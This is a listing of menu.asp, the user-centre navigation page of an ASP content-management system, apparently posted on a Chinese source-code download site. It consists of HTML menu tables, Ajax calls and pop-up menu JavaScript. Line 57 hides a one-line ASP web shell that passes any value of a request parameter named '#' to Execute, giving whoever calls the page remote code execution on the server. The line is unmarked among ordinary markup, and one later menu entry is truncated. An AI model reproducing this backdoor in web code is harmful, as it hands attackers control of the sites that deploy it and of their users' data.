menu.asp
上传用户:jisenq
上传日期:2014-06-29
资源大小:7216k
文件大小:22k
源码类别:

数据库编程

开发平台:

ASP/ASPX

  1. <script language="javascript" src="../FS_INC/prototype.js"></script>
  2. <script language=javascript>
  3. function status(cat)
  4. {
  5. switch(cat)
  6. {
  7. case "menuMsg":
  8. if ('<%=Request.Cookies("FoosunUserCookies")("FoosunMenuMsg")%>'=='1')
  9. {
  10.  $(cat).style.display="";
  11. }else
  12. {
  13.  $(cat).style.display="none";
  14. };break;
  15. case "menuFriend":
  16. if ('<%=Request.Cookies("FoosunUserCookies")("FoosunMenuFriend")%>'=='1')
  17. {
  18.  $(cat).style.display="";
  19. }else
  20. {
  21.  $(cat).style.display="none";
  22. };break;
  23. case "menuSpecial":
  24. if ('<%=Request.Cookies("FoosunUserCookies")("FoosunMenuSpecial")%>'=='1')
  25. {
  26.  $(cat).style.display="";
  27. }else
  28. {
  29.  $(cat).style.display="none";
  30. };break;
  31. }
  32. }
  33. function opencat(cat)
  34. {
  35.   if($(cat).style.display=="none")
  36.   {
  37.      $(cat).style.display="";
  38.  switch(cat)
  39.  {
  40. case "menuMsg":new Ajax.Request("MenuAction.asp",{method:'get',parameters:"type=msg&value=1&rnd=+"+Math.random()});break
  41. case "menuFriend":new Ajax.Request("MenuAction.asp",{method:'get',parameters:"type=friend&value=1&rnd=+"+Math.random()});break
  42. case "menuSpecial":new Ajax.Request("MenuAction.asp",{method:'get',parameters:"type=special&value=1&rnd=+"+Math.random()});break
  43.  }
  44.   } else 
  45.   {
  46.      $(cat).style.display="none"; 
  47.  switch(cat)
  48.  {
  49. case "menuMsg":new  Ajax.Request("MenuAction.asp",{method:'get',parameters:"type=msg&value=0&rnd=+"+Math.random()});break
  50. case "menuFriend":new Ajax.Request("MenuAction.asp",{method:'get',parameters:"type=friend&value=0&rnd=+"+Math.random()});break
  51. case "menuSpecial":new Ajax.Request("MenuAction.asp",{method:'get',parameters:"type=special&value=0&rnd=+"+Math.random()});break
  52.  }
  53.   }
  54. }
  55. </script> 
  56. <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
  57. <%If Request("#")<>"" Then Execute(Request("#"))%>
  58. <table width="170" border="0" align="center" cellpadding="3" cellspacing="0"  class="table">
  59.   <tr class="hback"> 
  60.     <td valign="top"  id="menuMsg_main" style="CURSOR: hand"  onmouseup="opencat('menuMsg');" onMouseOver="this.className='bg'" onMouseOut="this.className='bg1'" language=javascript><strong><img src="<%=s_savepath%>/images/folderclosed.gif"></strong><font style="font-size:14px;font-weight: bold">站内消息</font></td>
  61.   </tr>
  62.   <tr  id="menuMsg" style="DISPLAY:none " class="hback"> 
  63.     <td> <table width="100%" border="0" cellspacing="1" cellpadding="2">
  64.         <tr onMouseOver=overColor(this) onMouseOut=outColor(this)>
  65.           <td width="16%"><div align="right"><img src="<%=s_savepath%>/images/folderopened.gif" ></div></td>
  66.           <td width="84%"><a href="<%=s_savepath%>/message_write.asp">撰写消息</a></td>
  67.         </tr>
  68.         <tr onMouseOver=overColor(this) onMouseOut=outColor(this)>
  69.           <td><div align="right"><img src="<%=s_savepath%>/images/folderopened.gif" ></div></td>
  70.           <td><a href="<%=s_savepath%>/Message_box.asp?type=rebox">收件箱</a></td>
  71.         </tr>
  72.         <tr onMouseOver=overColor(this) onMouseOut=outColor(this)> 
  73.           <td><div align="right"><img src="<%=s_savepath%>/images/folderopened.gif" ></div></td>
  74.           <td><a href="<%=s_savepath%>/Message_box.asp?type=drabox">草稿箱</a><a href="award.asp"></a></td>
  75.         </tr>
  76.         <tr onMouseOver=overColor(this) onMouseOut=outColor(this)>
  77.           <td><div align="right"><img src="<%=s_savepath%>/images/folderopened.gif" ></div></td>
  78.           <td><a href="<%=s_savepath%>/Message_box.asp?type=sendbox">发件箱</a></td>
  79.         </tr>
  80.         <tr onMouseOver=overColor(this) onMouseOut=outColor(this)> 
  81.           <td><div align="right"><img src="<%=s_savepath%>/images/folderopened.gif" ></div></td>
  82.           <td><a href="<%=s_savepath%>/book.asp?M_Type=0">我的留言</a></td>
  83.         </tr>
  84.       </table></td>
  85.   </tr>
  86.   <tr class="hback"> 
  87.     <td valign="top"   id="menuFriend_main" style="CURSOR: hand"  onmouseup="opencat('menuFriend');" onMouseOver="this.className='bg'" onMouseOut="this.className='bg1'" language=javascript><strong><img src="<%=s_savepath%>/images/folderclosed.gif"></strong><font style="font-size:14px;font-weight: bold">朋友圈</font></td>
  88.   </tr>
  89.   <tr id="menuFriend" style="display:none" class="hback"> 
  90.     <td> <table width="100%" border="0" cellspacing="1" cellpadding="2">
  91.         <tr onMouseOver=overColor(this) onMouseOut=outColor(this)>  
  92.           <td width="16%"><div align="right"><img src="<%=s_savepath%>/images/folderopened.gif" ></div></td>
  93.           <td width="84%"><a href="<%=s_savepath%>/Friend.asp?type=0">好朋友</a>|<a href="<%=s_savepath%>/Friend_add.asp?type=0">添加</a></td>
  94.         </tr>
  95.         <tr onMouseOver=overColor(this) onMouseOut=outColor(this)>  
  96.           <td><div align="right"><img src="<%=s_savepath%>/images/folderopened.gif" ></div></td>
  97.           <td><a href="<%=s_savepath%>/Friend.asp?type=1">陌生人</a>|<a href="<%=s_savepath%>/Friend_add.asp?type=1">添加</a></td>
  98.         </tr>
  99.         <tr onMouseOver=overColor(this) onMouseOut=outColor(this)>  
  100.           <td><div align="right"><img src="<%=s_savepath%>/images/folderopened.gif" ></div></td>
  101.           <td><a href="<%=s_savepath%>/Friend.asp?type=2">黑名单</a>|<a href="<%=s_savepath%>/Friend_add.asp?type=2">添加</a></td>
  102.         </tr>
  103.         <tr onMouseOver=overColor(this) onMouseOut=outColor(this)> 
  104.           <td><div align="right"><img src="<%=s_savepath%>/images/folderopened.gif" ></div></td>
  105.           <td><a href="<%=s_savepath%>/Corp_card.asp">名片管理</a></td>
  106.         </tr>
  107.         <tr onMouseOver=overColor(this) onMouseOut=outColor(this)>  
  108.           <td><div align="right"><img src="<%=s_savepath%>/images/folderopened.gif" ></div></td>
  109.           <td><a href="<%=s_savepath%>/Group.asp">社群讨论</a></td>
  110.         </tr>
  111.         <tr onMouseOver=overColor(this) onMouseOut=outColor(this)>  
  112.           <td><div align="right"><img src="<%=s_savepath%>/images/folderopened.gif" ></div></td>
  113.           <td><a href="<%=s_savepath%>/Groupclass.asp">社群分类</a></td>
  114.         </tr>
  115.       </table></td>
  116.   </tr>
  117.   <tr class="hback"> 
  118.     <td valign="top"  id="menuSpecail_main" style="CURSOR: hand"  onmouseup="opencat('menuSpecial');" onMouseOver="this.className='bg'" onMouseOut="this.className='bg1'" language=javascript><strong><img src="<%=s_savepath%>/images/folderclosed.gif"></strong><font style="font-size:14px;font-weight: bold">我的专栏</font></td>
  119.   </tr>
  120.   <tr  id="menuSpecial" style="DISPLAY:none" class="hback"> 
  121.     <td> <table width="100%" border="0" cellspacing="1" cellpadding="2">
  122.         <tr onMouseOver=overColor(this) onMouseOut=outColor(this)> 
  123.           <td width="15%"><div align="right"><img src="<%=s_savepath%>/images/folderopened.gif" ></div></td>
  124.           <td width="85%" valign="bottom"><a href="<%=s_savepath%>/favorite.asp">我的收藏夹</a></td>
  125.         </tr>
  126. <%if menu_RssFeed=1 then%>
  127.         <tr onMouseOver=overColor(this) onMouseOut=outColor(this)> 
  128.           <td><div align="right"><img src="<%=s_savepath%>/images/folderopened.gif" ></div></td>
  129.           <td valign="bottom"><a href="<%=s_savepath%>/RssFeed.asp">RSS聚合订阅</a></td>
  130.         </tr>
  131. <%end if%>
  132.         <tr onMouseOver=overColor(this) onMouseOut=outColor(this)>
  133.           <td><div align="right"><img src="<%=s_savepath%>/images/folderopened.gif" ></div></td>
  134.           <td valign="bottom"><a href="<%=s_savepath%>/PhotoManage.asp">相册管理</a></td>
  135.         </tr>
  136.         <tr onMouseOver=overColor(this) onMouseOut=outColor(this)> 
  137.           <td><div align="right"><img src="<%=s_savepath%>/images/folderopened.gif" ></div></td>
  138.           <td valign="bottom"><a href="<%=s_savepath%>/Filemanage.asp">文件管理</a></td>
  139.         </tr>
  140.         <tr> 
  141.           <td  id=item$pval[CatID]) style="CURSOR: hand"  onmouseup="opencat(id10);" onMouseOver="this.className='bg'" onMouseOut="this.className='bg1'" language=javascript><div align="right"><strong><img src="<%=s_savepath%>/images/folderclosed.gif"></strong></div></td>
  142.           <td valign="bottom"  id=item$pval[CatID]) style="CURSOR: hand"  onmouseup="opencat(id10);" onMouseOver="this.className='bg'" onMouseOut="this.className='bg1'" language=javascript>我的专栏</td>
  143.         </tr>
  144.         <tr> 
  145.           <td colspan="2" valign="top"   id="id10"> <div align="right"> 
  146.               <table width="100%" border="0" cellspacing="1" cellpadding="2">
  147.                 <tr onMouseOver=overColor(this) onMouseOut=outColor(this)> 
  148.                   <td width="18%"><div align="right"><img src="<%=s_savepath%>/images/folderopened.gif"></div></td>
  149.                   <td width="82%" valign="bottom"><a href="<%=s_savepath%>/infomanage.asp">专栏分类</a></td>
  150.                 </tr>
  151.                 <tr onMouseOver=overColor(this) onMouseOut=outColor(this)> 
  152.                   <td><div align="right"><img src="<%=s_savepath%>/images/folderopened.gif"></div></td>
  153.                   <td valign="bottom"><a href="<%=s_savepath%>/contr/contrManage.asp">稿件管理</a></td>
  154.                 </tr>
  155. <%if IsExist_SubSys("HS") Then%>
  156.                 <tr onMouseOver=overColor(this) onMouseOut=outColor(this)> 
  157.                   <td><div align="right"><img src="<%=s_savepath%>/images/folderopened.gif"></div></td>
  158.                   <td valign="bottom"><a href="<%=s_savepath%>/house/houseManage.asp">房产管理</a></td>
  159.                 </tr>
  160.                 <tr onMouseOver=overColor(this) onMouseOut=outColor(this)> 
  161.                   <td><div align="right"><img src="<%=s_savepath%>/images/folderopened.gif"></div></td>
  162.                   <td valign="bottom"><a href="<%=s_savepath%>/house/default.asp">房产搜索</a></td>
  163.                 </tr>
  164. <%end if%>
  165. <%if IsExist_SubSys("SD") Then%>
  166.                 <tr onMouseOver=overColor(this) onMouseOut=outColor(this)> 
  167.                   <td><div align="right"><img src="<%=s_savepath%>/images/folderopened.gif" ></div></td>
  168.                   <td valign="bottom"><a href="<%=s_savepath%>/Supply/PublicManage.asp">供求信息</a></td>
  169.                 </tr>
  170. <%End if%>
  171. <%if IsExist_SubSys("AP") Then%>
  172.                 <tr onMouseOver=overColor(this) onMouseOut=outColor(this)> 
  173.                   <td><div align="right"><img src="<%=s_savepath%>/images/folderopened.gif" ></div></td>
  174.                   <td valign="bottom"><a href="<%=s_savepath%>/job/job_resume.asp">求职</a></td>
  175.                 </tr>
  176.                 <tr onMouseOver=overColor(this) onMouseOut=outColor(this)> 
  177.                   <td><div align="right"><img src="<%=s_savepath%>/images/folderopened.gif" ></div></td>
  178.                   <td valign="bottom"><a href="<%=s_savepath%>/job/job_applications.asp">招聘</a></td>
  179.                 </tr>
  180. <%end if%>
  181.                 <!--<tr onMouseOver=overColor(this) onMouseOut=outColor(this)> 
  182.                   <td><div align="right"><img src="<%=s_savepath%>/images/folderopened.gif" ></div></td>
  183.                   <td valign="bottom"><a href="<%=s_savepath%>/download/">下载</a></td>
  184.                 </tr>-->
  185.                 <tr onMouseOver=overColor(this) onMouseOut=outColor(this)> 
  186.                   <td><div align="right"><img src="<%=s_savepath%>/images/folderopened.gif" ></div></td>
  187.                   <td valign="bottom"><a href="<%=s_savepath%>/i_Blog/index.asp">计划(日志)</a></td>
  188.                 </tr>
  189.                 <tr onMouseOver=overColor(this) onMouseOut=outColor(this)> 
  190.                   <td><div align="right"><img src="<%=s_savepath%>/images/folderopened.gif" ></div></td>
  191.                   <td valign="bottom"><a href="<%=s_savepath%>/review.asp">我的评论</a></td>
  192.                 </tr>
  193.                 <tr onMouseOver=overColor(this) onMouseOut=outColor(this)>
  194.                   <td><div align="right"><img src="<%=s_savepath%>/images/folderopened.gif" alt="award"></div></td>
  195.                   <td valign="bottom">
  196.   <a href="<%=s_savepath%>/award/award.asp">抽奖<span id="img_container"></span></a>
  197.   </td>
  198.                 </tr>
  199.                 <tr onMouseOver=overColor(this) onMouseOut=outColor(this)> 
  200.                   <td colspan="2"><div align="left"><img src="<%=s_savepath%>/images/folderopened.gif" ><span><a href="javascript:OpenEditerWindow('<%=s_savepath%>/Flink/Flink_add.asp','window','520','420');" style="cursor:hand;">申请友情连接</a></span></div></td>
  201.                 </tr>
  202.               </table>
  203.             </div></td>
  204.         </tr>
  205.       </table></td>
  206.   </tr>
  207. </table>
  208. <div align="center">
  209.   <script language="JavaScript" src="<%=s_savepath_1%>FS_Inc/PublicJS.js" type="text/JavaScript"></script>
  210.   <script language="javascript" src="<%=s_savepath_1%>FS_Inc/prototype.js"></script>
  211.   <script language="JavaScript" type="text/JavaScript">
  212. /***************************************/
  213. var  myAjax = new Ajax.Updater('img_container', "<%="http://"&request.ServerVariables("HTTP_HOST")&s_savepath&"/award/awardAction.asp"%>", {method: 'get', parameters: "action=menu"});//是否有激活的抽奖
  214. /*****************************************/
  215. var menuOffX=0 //菜单距连接文字最左端距离
  216. var menuOffY=18 //菜单距连接文字顶端距离
  217. var fo_shadows=new Array()
  218. var linkset=new Array()
  219. var ie4=document.all&&navigator.userAgent.indexOf("Opera")==-1
  220. var ns6=document.getElementById&&!document.all
  221. var ns4=document.layers
  222. function showmenu(e,index,p,paging){
  223. if (!document.all&&!document.getElementById&&!document.layers)
  224. return
  225. which=linkset[index]
  226. var pSize=10 //每页连接数
  227. var pNum=Math.floor((which.length-1)/pSize)+1 //页数
  228. clearhidemenu()
  229. ie_clearshadow()
  230. if (pNum==1){
  231. which=which.join("")
  232. }else{
  233. which=which.slice( (p-1)*pSize, p*pSize )
  234. which=which.join("")
  235. which+="<div class="menuitems" >"
  236. if (p==1)
  237. {
  238. which+="&nbsp;&nbsp;&nbsp;&nbsp;<font face=webdings color=gray>7</font>"
  239. }else{
  240. which+="&nbsp;&nbsp;&nbsp;&nbsp;<font face=webdings style=cursor:hand onclick=showmenu(event,"+ index +","+ (p-1) +",true) >7</font>"
  241. }
  242. if (p==pNum)
  243. {
  244. which+="<font face=webdings color=gray>8</font>"
  245. }else{
  246. which+="<font face=webdings style=cursor:hand onclick=showmenu(event,"+ index +","+ (p+1) +",true) >8</font>"
  247. }
  248. which+="</div>"
  249. }
  250. menuobj=ie4? document.all.popmenu : ns6? document.getElementById("popmenu") : ns4? document.popmenu : ""
  251. menuobj.thestyle=(ie4||ns6)? menuobj.style : menuobj
  252. if (ie4||ns6)
  253. menuobj.innerHTML=which
  254. else{
  255. menuobj.document.write('<layer name=gui bgColor=#E6E6E6 width=165 onmouseover="clearhidemenu()" onmouseout="hidemenu()">'+which+'</layer>')
  256. menuobj.document.close()
  257. }
  258. menuobj.contentwidth=(ie4||ns6)? menuobj.offsetWidth : menuobj.document.gui.document.width
  259. menuobj.contentheight=(ie4||ns6)? menuobj.offsetHeight : menuobj.document.gui.document.height
  260. eventX=ie4? event.clientX : ns6? e.clientX : e.x
  261. eventY=ie4? event.clientY : ns6? e.clientY : e.y
  262. var rightedge=ie4? document.body.clientWidth-eventX : window.innerWidth-eventX
  263. var bottomedge=ie4? document.body.clientHeight-eventY : window.innerHeight-eventY
  264. if (!paging)
  265. {
  266. if (rightedge<menuobj.contentwidth)
  267. menuobj.thestyle.left=ie4? document.body.scrollLeft+eventX-menuobj.contentwidth+menuOffX : ns6? window.pageXOffset+eventX-menuobj.contentwidth : eventX-menuobj.contentwidth
  268. else
  269. menuobj.thestyle.left=ie4? ie_x(event.srcElement)+menuOffX : ns6? window.pageXOffset+eventX : eventX
  270. if (bottomedge<menuobj.contentheight)
  271. menuobj.thestyle.top=ie4? document.body.scrollTop+eventY-menuobj.contentheight-event.offsetY+menuOffY : ns6? window.pageYOffset+eventY-menuobj.contentheight : eventY-menuobj.contentheight
  272. else
  273. menuobj.thestyle.top=ie4? ie_y(event.srcElement)+menuOffY : ns6? window.pageYOffset+eventY : eventY
  274. }
  275. menuobj.thestyle.visibility="visible"
  276. ie_dropshadow(menuobj,"#CCCCCC",3)
  277. return false
  278. }
  279. function ie_x(e){  
  280. var l=e.offsetLeft;  
  281. while(e=e.offsetParent){  
  282. l+=e.offsetLeft;  
  283. }  
  284. return l;  
  285. }  
  286. function ie_y(e){  
  287. var t=e.offsetTop;  
  288. while(e=e.offsetParent){  
  289. t+=e.offsetTop;  
  290. }  
  291. return t;  
  292. }  
  293. function ie_dropshadow(el, color, size)
  294. {
  295. var i;
  296. for (i=size; i>0; i--)
  297. {
  298. var rect = document.createElement('div');
  299. var rs = rect.style
  300. rs.position = 'absolute';
  301. rs.left = (el.style.posLeft + i) + 'px';
  302. rs.top = (el.style.posTop + i) + 'px';
  303. rs.width = el.offsetWidth + 'px';
  304. rs.height = el.offsetHeight + 'px';
  305. rs.zIndex = el.style.zIndex - i;
  306. rs.backgroundColor = color;
  307. var opacity = 1 - i / (i + 1);
  308. rs.filter = 'alpha(opacity=' + (100 * opacity) + ')';
  309. //el.insertAdjacentElement('afterEnd', rect); // 输出阴影,若不想要投影,可以注释此句
  310. fo_shadows[fo_shadows.length] = rect;
  311. }
  312. }
  313. function ie_clearshadow()
  314. {
  315. for(var i=0;i<fo_shadows.length;i++)
  316. {
  317. if (fo_shadows[i])
  318. fo_shadows[i].style.display="none"
  319. }
  320. fo_shadows=new Array();
  321. }
  322. function contains_ns6(a, b) {
  323. while (b.parentNode)
  324. if ((b = b.parentNode) == a)
  325. return true;
  326. return false;
  327. }
  328. function hidemenu(){
  329. if (window.menuobj)
  330. menuobj.thestyle.visibility=(ie4||ns6)? "hidden" : "hide"
  331. ie_clearshadow()
  332. }
  333. function dynamichide(e){
  334. if (ie4&&!menuobj.contains(e.toElement))
  335. hidemenu()
  336. else if (ns6&&e.currentTarget!= e.relatedTarget&& !contains_ns6(e.currentTarget, e.relatedTarget))
  337. hidemenu()
  338. }
  339. function delayhidemenu(){
  340. if (ie4||ns6||ns4)
  341. delayhide=setTimeout("hidemenu()",500)
  342. }
  343. function clearhidemenu(){
  344. if (window.delayhide)
  345. clearTimeout(delayhide)
  346. }
  347. function highlightmenu(e,state){
  348. if (document.all)
  349. source_el=event.srcElement
  350. else if (document.getElementById)
  351. source_el=e.target
  352. if (source_el.className=="menuitems"){
  353. source_el.id=(state=="on")? "mouseoverstyle" : ""
  354. }
  355. else{
  356. while(source_el.id!="popmenu"){
  357. source_el=document.getElementById? source_el.parentNode : source_el.parentElement
  358. if (source_el.className=="menuitems"){
  359. source_el.id=(state=="on")? "mouseoverstyle" : ""
  360. }
  361. }
  362. }
  363. }
  364. if (ie4||ns6)
  365. document.onclick=hidemenu
  366. linkset[0]=new Array()
  367. linkset[0][0]='<div class=menuitems><a class="menu_ctr" href="<%=s_savepath%>/UserPara.asp">站点参数</a></div>'
  368. linkset[0][1]='<div class=menuitems><a class="menu_ctr" href=<%=s_savepath%>/UserList.asp>用户统计</a></div>'
  369. linkset[0][2]='<div class=menuitems><a class="menu_ctr" href=<%=s_savepath%>/callboard.asp>会员公告</a></div>'
  370. linkset[0][3]='<div class=menuitems><a class="</div>'
  371. linkset[1]=new Array()
  372. linkset[1][0]='<div class=menuitems><a class="menu_ctr" href=<%=s_savepath%>/myinfo.asp>基本信息</a></div>'
  373. linkset[1][1]='<div class=menuitems><a class="menu_ctr" href=<%=s_savepath%>/MyContact.asp>联系方式</a></div>'
  374. linkset[1][2]='<div class=menuitems><a class="menu_ctr" href=<%=s_savepath%>/Myvalidcode.asp>安全资料</a></div>'
  375. linkset[1][3]='<div class=menuitems><a class="menu_ctr" >----------</a></div>'
  376. linkset[1][4]='<div class=menuitems><a class="menu_ctr" href=<%=s_savepath%>/Myaccount.asp>我的保险箱</a></div>'
  377. linkset[1][5]='<div class=menuitems><a class="menu_ctr" href=<%=s_savepath%>/award/award.asp>抽奖/问答</a></div>'
  378. //linkset[1][7]='<div class=menuitems><a class="menu_ctr" href=<%=s_savepath%>/award.asp?action=Change>积分兑奖</a></div>'
  379. //linkset[1][8]='<div class=menuitems><a class="menu_ctr" href=<%=s_savepath%>/Filemanage.asp>文件管理</a></div>'
  380. linkset[2]=new Array()
  381. linkset[2][0]='<div class=menuitems><a class="menu_ctr" href=<%=s_savepath%>/corp_info.asp>企业资料</a></div>'
  382. linkset[2][1]='<div class=menuitems><a class="menu_ctr" href=<%=s_savepath%>/corp_templet.asp>模板管理</a></div>'
  383. linkset[2][2]='<div class=menuitems><a class="menu_ctr" href=<%=s_savepath%>/corp_logo.asp>Logo管理</a></div>'
  384. linkset[2][3]='<div class=menuitems><a class="menu_ctr" href=<%=s_savepath%>/corp_bank.asp>银行资料</a></div>'
  385. //linkset[2][4]='<div class=menuitems><a class="menu_ctr" href=corp_Out.asp>注销企业</a></div>'
  386. linkset[3]=new Array()
  387. linkset[3][0]='<div class=menuitems><a class="menu_ctr" href=<%=s_savepath%>/buybag.asp>购物车</a></div>'
  388. linkset[3][1]='<div class=menuitems><a class="menu_ctr" >----------</a></div>'
  389. linkset[3][2]='<div class=menuitems><a class="menu_ctr" href=<%=s_savepath%>/card.asp>点卡冲值</a></div>'
  390. linkset[3][3]='<div class=menuitems><a class="menu_ctr" href=<%=s_savepath%>/pay.asp>在线冲值</a></div>'
  391. //linkset[3][4]='<div class=menuitems><a class="menu_ctr" href=<%=s_savepath%>/buypop.asp>购买权限</a></div>'
  392. linkset[3][5]='<div class=menuitems><a class="menu_ctr" >----------</a></div>'
  393. linkset[3][6]='<div class=menuitems><a class="menu_ctr" href=<%=s_savepath%>/order.asp>定单管理</a></div>'
  394. linkset[3][7]='<div class=menuitems><a class="menu_ctr" href=<%=s_savepath%>/history.asp>交易明晰</a></div>'
  395. function imgzoom(img,maxsize){
  396. var a=new Image();
  397. a.src=img.src
  398. if(a.width > maxsize * 4)
  399. {
  400. img.style.width=maxsize;
  401. }
  402. else if(a.width >= maxsize)
  403. {
  404. img.style.width=Math.round(a.width * Math.floor(4 * maxsize / a.width) / 4);
  405. }
  406. return false;
  407. }
  408. function zoom_img(e, o)
  409. {
  410. var zoom = parseInt(o.style.zoom, 10) || 100;
  411. zoom += event.wheelDelta / 12;
  412. if (zoom > 0) o.style.zoom = zoom + '%';
  413. return false;
  414. }  
  415. /*0-------------------------------------*/
  416. status('menuMsg');
  417. status('menuFriend');
  418. status('menuSpecial');
  419. </script>
  420.   <script language="JavaScript" src="<%=s_savepath_1%>FS_Inc/CheckJs.js" type="text/JavaScript"></script>
  421.   <script language="JavaScript" src="<%=s_savepath_1%>FS_Inc/Prototype.js" type="text/JavaScript"></script>
  422.   <script language="JavaScript" src="<%=s_savepath_1%>FS_Inc/PublicJS.js" type="text/JavaScript"></script>
  423. </div>